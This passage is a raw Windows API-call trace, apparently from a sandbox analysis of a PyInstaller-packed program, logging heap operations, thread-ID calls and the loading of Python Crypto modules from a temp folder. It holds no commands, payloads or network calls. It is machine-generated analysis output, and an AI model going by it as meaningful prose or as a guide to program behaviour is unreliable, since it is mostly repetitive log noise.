hHeap=0x2ad0000) returned 1 [0076.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34afd58 [0076.267] GetCurrentThreadId () returned 0x9b0 [0076.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0076.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0076.267] GetCurrentThreadId () returned 0x9b0 [0076.267] GetCurrentThreadId () returned 0x9b0 [0076.267] GetCurrentThreadId () returned 0x9b0 [0076.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0076.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0076.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0076.267] GetCurrentThreadId () returned 0x9b0 [0076.268] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262f00, Size=0x18) returned 0x3183980 [0076.268] GetCurrentThreadId () returned 0x9b0 [0076.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183980 | out: hHeap=0x2ad0000) returned 1 [0076.268] GetCurrentThreadId () returned 0x9b0 [0076.268] GetCurrentThreadId () returned 0x9b0 [0076.268] GetLastError () returned 0x0 [0076.268] GetLastError () returned 0x0 [0076.268] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Hash", lpFindFileData=0x9b9d68 | out: lpFindFileData=0x9b9d68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd60f30d, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd71a291, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd71a291, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bef987, dwReserved1=0x48, cFileName="Hash", cAlternateFileName="")) returned 0x1055c20 [0076.268] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d7c, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0076.268] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0076.268] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d74, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0076.268] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0076.268] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d6c, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0076.268] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0076.268] FindClose (in: hFindFile=0x1055c20 | out: hFindFile=0x1055c20) returned 1 [0076.269] GetLastError () returned 0x0 [0076.269] GetCurrentThreadId () returned 0x9b0 [0076.269] GetCurrentThreadId () returned 0x9b0 [0076.269] GetCurrentThreadId () returned 0x9b0 [0076.269] GetCurrentThreadId () returned 0x9b0 [0076.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0076.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0076.269] GetCurrentThreadId () returned 0x9b0 [0076.269] GetCurrentThreadId () returned 0x9b0 [0076.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0076.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0076.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.269] GetCurrentThreadId () returned 0x9b0 [0076.269] GetCurrentThreadId () returned 0x9b0 [0076.269] GetCurrentThreadId () returned 0x9b0 [0076.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0076.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0076.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0076.269] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262db0, Size=0x18) returned 0x3183be0 [0076.270] GetCurrentThreadId () returned 0x9b0 [0076.270] GetCurrentThreadId () returned 0x9b0 [0076.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0076.270] GetCurrentThreadId () returned 0x9b0 [0076.270] GetCurrentThreadId () returned 0x9b0 [0076.270] GetCurrentThreadId () returned 0x9b0 [0076.270] GetCurrentThreadId () returned 0x9b0 [0076.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0076.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0076.270] GetCurrentThreadId () returned 0x9b0 [0076.270] GetCurrentThreadId () returned 0x9b0 [0076.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.270] GetCurrentThreadId () returned 0x9b0 [0076.270] GetCurrentThreadId () returned 0x9b0 [0076.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0076.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0076.270] GetCurrentThreadId () returned 0x9b0 [0076.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0076.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de838 [0076.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c852c8 [0076.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de738 [0076.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c852c8 | out: hHeap=0x2ad0000) returned 1 [0076.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.271] GetLastError () returned 0x0 [0076.271] GetLastError () returned 0x0 [0076.271] GetLastError () returned 0x0 [0076.271] GetLastError () returned 0x0 [0076.271] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9b99c8, lpFilePart=0x9b99c4 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9b99c4*="_file_system.pyc") returned 0x48 [0076.271] GetCurrentThreadId () returned 0x9b0 [0076.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0076.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0076.271] GetCurrentThreadId () returned 0x9b0 [0076.271] GetCurrentThreadId () returned 0x9b0 [0076.272] GetCurrentThreadId () returned 0x9b0 [0076.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.272] GetCurrentThreadId () returned 0x9b0 [0076.272] GetLastError () returned 0x0 [0076.272] GetCurrentThreadId () returned 0x9b0 [0076.272] GetLastError () returned 0x0 [0076.272] GetCurrentThreadId () returned 0x9b0 [0076.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.272] GetCurrentThreadId () returned 0x9b0 [0076.272] GetLastError () returned 0x0 [0076.272] GetLastError () returned 0x0 [0076.272] GetLastError () returned 0x0 [0076.272] GetLastError () returned 0x0 [0076.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85070 | out: hHeap=0x2ad0000) returned 1 [0076.272] LoadLibraryA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\..\\Hash\\_BLAKE2s.pyd") [0076.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2cbacf8 [0076.277] GetCurrentThreadId () returned 0x9b0 [0076.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b0688 [0076.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdc908 [0076.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c852c8 [0076.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c851a8 [0076.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6c8 [0076.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.278] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de6c8, Size=0x14) returned 0x3183ae0 [0076.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c851a8 | out: hHeap=0x2ad0000) returned 1 [0076.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c852c8 | out: hHeap=0x2ad0000) returned 1 [0076.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ae0 | out: hHeap=0x2ad0000) returned 1 [0076.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b0688 | out: hHeap=0x2ad0000) returned 1 [0076.278] GetCurrentThreadId () returned 0x9b0 [0076.278] GetLastError () returned 0x0 [0076.278] GetCurrentThreadId () returned 0x9b0 [0076.278] GetLastError () returned 0x0 [0076.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85070 | out: hHeap=0x2ad0000) returned 1 [0076.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x34b7df8 [0076.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b7df8 | out: hHeap=0x2ad0000) returned 1 [0076.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85238 [0076.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85238 | out: hHeap=0x2ad0000) returned 1 [0076.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c851a8 [0076.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c851a8 | out: hHeap=0x2ad0000) returned 1 [0076.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c850b8 [0076.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c850b8 | out: hHeap=0x2ad0000) returned 1 [0076.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c852c8 [0076.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c852c8 | out: hHeap=0x2ad0000) returned 1 [0076.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c851a8 [0076.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c851a8 | out: hHeap=0x2ad0000) returned 1 [0076.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85070 [0076.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85070 | out: hHeap=0x2ad0000) returned 1 [0076.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x34b7df8 [0076.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0076.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b7df8 | out: hHeap=0x2ad0000) returned 1 [0076.280] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262d40, Size=0x1) returned 0x33de738 [0076.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c851a8 [0076.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c851a8 | out: hHeap=0x2ad0000) returned 1 [0076.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c851f0 [0076.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c851f0 | out: hHeap=0x2ad0000) returned 1 [0076.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2cc74f0 [0076.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c851a8 [0076.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.282] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c851a8, Size=0x20) returned 0x3028328 [0076.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.282] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x2a19250 [0076.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.283] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19428 [0076.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.284] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2ac0a40 [0076.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.285] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0a40, Size=0xb8) returned 0x325ef30 [0076.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 